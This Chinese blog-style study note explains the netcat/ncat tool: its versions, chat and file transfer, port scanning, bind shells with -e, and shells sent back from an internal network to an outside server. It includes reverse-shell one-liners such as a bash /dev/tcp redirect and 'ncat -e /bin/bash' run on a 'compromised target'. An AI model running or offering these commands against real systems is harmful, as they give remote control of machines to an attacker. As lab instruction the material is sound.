nc命令学习记录

nc被誉为网络安全界的瑞士军刀,一个简单而有用的工具,透过使用TCP或UDP协议的网络连接去读写数据。

简介

nc被誉为网络安全界的瑞士军刀,一个简单而有用的工具,透过使用TCP或UDP协议的网络连接去读写数据。

版本区别

nc的版本非常乱,有很多版本,他们分别由不同的作者编写。

netcat-traditional

这个是最早的版本,最新版本是2007年1月,版本是1.10,Kali Linux默认带的就是这个版本:

root@kali-linux:~# nc -h
[v1.10-41.1]

这个版本的nc具有 -e 选项,十分方便反弹shell使用

netcat-openbsd

ubuntu里默认的nc命令指向的是netcat-openbsd。这个版本因为考虑到安全性等原因没有 -e 选项。所以我们得手动替换一下nc的版本:

# 安装传统的netcat
$ sudo apt-get install netcat

# 切换版本
$ sudo update-alternatives --config nc
[sudo] sqlsec 的密码: 
有 2 个候选项可用于替换 nc (提供 /bin/nc)。

  选择       路径               优先级  状态
------------------------------------------------------------
  0            /bin/nc.openbsd       50        自动模式
  1            /bin/nc.openbsd       50        手动模式
* 2            /bin/nc.traditional   10        手动模式

要维持当前值[*]请按<回车键>,或者键入选择的编号:2

ncat

这是netcat的比较新的现代版本,它是从头开始编写的,不使用原始的netcat代码。ncat的作者是着名的Nmap程序的作者。ncat几乎重复了原始程序的所有功能,并包含其他功能。CentOS、Red Hat默认带的是ncat。目前ncat已经集成到了nmap里面,安装完nmap后就可以使用 ncat 命令了。

用法

本用法全部基于 ncat 命令来做的记录,其他版本的nc可能会有些许差别。

实验环境

操作系统 IP地址
Ubuntu 18.04 10.211.55.14
macOS 10.13.6 10.211.55.2

文字交互

监听入站连接

-l :使用监听模式,监控传入的信息

# sqlsec @ X1cT34m-iMac in ~ 
$ ncat -l 2333

此刻macOS就会在监听本地2333端口的入站连接。

连接远程系统

尝试实验nc在Ubuntu系统下来连接macOS的2333端口:

# sqlsec @ ubuntu in ~ 
$ ncat 10.211.55.2 2333

现在就可以通过nc来聊天来,任何一方输入的内容都会被另一方看到:

任一方按 Ctrl+C 即可终止这尴尬的聊天。

命令交互

基本交互

-e :将传入的信息以命令执行

在macOS上运行如下命令,将 /bin/bash 通过2333端口来监听,将收到的信息都发送到 /bin/bash

# sqlsec @ X1cT34m-iMac in ~ [22:09:34]
$ ncat -l -e /bin/bash 2333

Ubuntu系统这边依然向往常一样来连接macOS的2333端口,只是此时Ubutnu输入的指令都会传入macOS的/bin/bash 执行成功后会返回信息,类似于ssh操作连接来macOS一样:

# sqlsec @ ubuntu in ~ [22:13:49] C:130
$ ncat 10.211.55.2 2333
whoami
sqlsec
pwd
/Users/sqlsec
id
uid=501(sqlsec) gid=20(staff) groups=20(staff),501(access_bpf),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserver
adm),98(_lpadmin),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.a
ccess_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh)
uname -a
Darwin X1cT34m-iMac 17.7.0 Darwin Kernel Version 17.7.0: Wed Apr 24 21:17:24 PDT 2019; root:xnu-4570.71.45~1/RELEASE_X86_64 x86_64

持久监听

-k : 客户端断掉连接时,服务端依然保持运行

-v :现实指令执行过程细节

在macOS开启一个持久监听的nc

# sqlsec @ X1cT34m-iMac in ~ 
$ ncat -lvk -e  /bin/bash 2333

此时使用Ubuntu去连接macOS:

# sqlsec @ ubuntu in ~ 
$ ncat 10.211.55.2 2333

当Ubuntu客户端使用 CTRL + cCTRL + d 断开连接的时候,macOS的ncat依然在运行,这样方便Ubuntu下次直接nc连进来。

内网弹shell

ncat简单调整是可以穿内网的

操作系统 IP地址
macOS 10.13.6 内网
CentOS www.sqlsec.com

首先外网的CentOS服务器先监听本地端口:

-w : 设置等待连线的时间秒数

# root @ x1ct34m in ~ 
$ ncat -lv 2333        
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::2333
Ncat: Listening on 0.0.0.0:2333

内网的macOS运行:

# sqlsec @ X1cT34m-iMac in ~
$ ncat -w 10 -e /bin/bash www.sqlsec.com 2333

此时CentOS这边已经接受到了内网到macOS的bash了,可以交互执行masOS的命令:

bash弹shell

如果控制的目标机器自带的 nc 不支持 -e 选项,那如何将shell弹出去呢?这里可以利用自带的 bash 命令交互环境来实现这个操作:

攻击者外网监听:

-p port 本地端口

# 使用nc命令的话得添加 -p 指定端口这个选项
nc -lvp 2333

# ncat用法不变
ncat -lv 2333

被入侵的目标机器执行如下命令:

bash -i >& /dev/tcp/10.211.55.4/2333 0>&1

这条命令的作用等同于之前的 ncat -w 10 -e /bin/bash 10.211.55.4 2333

命令 参数解释
bash -i 产生一个bash交互环境
>& 将联合符号前面的内容与后面结合然后一起重定向给后者
/dev/tcp/10.211.55.4/2333 让目标主机与主机10.211.55.4的2333端口简历一个连接
0>&1 将标准的输入与标准输出内容相结合,然后重定向给前面的标准输出内容

文件传输

操作系统 IP地址
macOS 10.13.6 内网
CentOS www.sqlsec.com

上传文件到远程

CentOS远程服务器运行:

# root @ x1ct34m in ~ 
$ ncat -l 2333 > hello.txt

macOS本地运行:

# sqlsec @ X1cT34m-iMac in ~
$ ncat www.sqlsec.com 2333 < hello.txt

此时会将macOS的文件传输到远程的CentOS服务器上,传输完成后,两个ncat会话都将终止。

从远程下载文件

CentOS远程服务器运行:

# root @ x1ct34m in ~
$ ncat -l 2333 < hello.txt

macOS本地运行:

# sqlsec @ X1cT34m-iMac in ~
$ ncat www.sqlsec.com 2333 > hello.txt

请注意,这里文件传输完成后不会显示任何内容,并且两个Ncat实例将继续工作。

端口扫描

范围扫描

ncat不支持端口扫描,但是原始的nc可以扫描端口。

-n : 直接使用ip地址,而不通过域名服务器

-z : 使用0输入/输出模式,只在扫描通信端口时使用

这里扫描10.211.55.14的20-25这个端口范围:

# sqlsec @ X1cT34m-iMac in ~
$ nc -v -n -z 10.211.55.14 20-25
10.211.55.14 22 (ssh) open

可以发现成功扫描出22端口是开放的了

单个扫描

# sqlsec @ X1cT34m-iMac in ~
$ nc -v -z -n 10.211.55.14 22 
10.211.55.14 22 (ssh) open

nc的命令可以写在一起的,下面两条命令的作用相同:

$ nc -v -z -n 10.211.55.14 22 
$ nc -vzn 10.211.55.14 22

详细参数

Options taking a time assume seconds. Append 'ms' for milliseconds,
's' for seconds, 'm' for minutes, or 'h' for hours (e.g. 500ms).
  -4                         Use IPv4 only
  -6                         Use IPv6 only
  -U, --unixsock             Use Unix domain sockets only
  -C, --crlf                 Use CRLF for EOL sequence
  -c, --sh-exec <command />    Executes the given command via /bin/sh
  -e, --exec <command />       Executes the given command
      --lua-exec 
<filename>
   Executes the given Lua script
  -g hop1[,hop2,...]         Loose source routing hop points (8 max)
  -G 
 <n>
                       Loose source routing hop pointer (4, 8, 12, ...)
  -m, --max-conns 
  <n>
           Maximum 
   <n>
     simultaneous connections
  -h, --help                 Display this help screen
  -d, --delay 
    <time>         Wait between read/writes
  -o, --output 
     <filename>
          Dump session data to a file
  -x, --hex-dump 
      <filename>
         Dump session data as hex to a file
  -i, --idle-timeout 
       <time>  Idle read/write timeout
  -p, --source-port port     Specify source port to use
  -s, --source addr          Specify source address to use (doesn't affect -l)
  -l, --listen               Bind and listen for incoming connections
  -k, --keep-open            Accept multiple connections in listen mode
  -n, --nodns                Do not resolve hostnames via DNS
  -t, --telnet               Answer Telnet negotiations
  -u, --udp                  Use UDP instead of default TCP
      --sctp                 Use SCTP instead of default TCP
  -v, --verbose              Set verbosity level (can be used several times)
  -w, --wait </time>
       <time>          Connect timeout
  -z                         Zero-I/O mode, report connection status only
      --append-output        Append rather than clobber specified output files
      --send-only            Only send data, ignoring received; quit on EOF
      --recv-only            Only receive data, never send anything
      --allow                Allow only given hosts to connect to Ncat
      --allowfile            A file of hosts allowed to connect to Ncat
      --deny                 Deny given hosts from connecting to Ncat
      --denyfile             A file of hosts denied from connecting to Ncat
      --broker               Enable Ncat's connection brokering mode
      --chat                 Start a simple Ncat chat server
      --proxy 
        <addr :port="">
           Specify address of host to proxy through
      --proxy-type 
         <type>
              Specify proxy type ("http" or "socks4" or "socks5")
      --proxy-auth 
          <auth>
               Authenticate with HTTP or SOCKS proxy server
      --ssl                  Connect or listen with SSL
      --ssl-cert             Specify SSL certificate file (PEM) for listening
      --ssl-key              Specify SSL private key (PEM) for listening
      --ssl-verify           Verify trust and domain name of certificates
      --ssl-trustfile        PEM file containing trusted SSL certificates
      --ssl-ciphers          Cipherlist containing SSL ciphers to use
      --ssl-alpn             ALPN protocol list to use.
      --version              Display Ncat's version information and exit

See the ncat(1) manpage for full options, descriptions and usage examples
          </auth>
         </type>
        </addr></time>
      </filename>
     </filename></time>
   </n>
  </n>
 </n>
</filename>
我来评几句
登录后评论

已发表评论数()

相关站点

+订阅
热门文章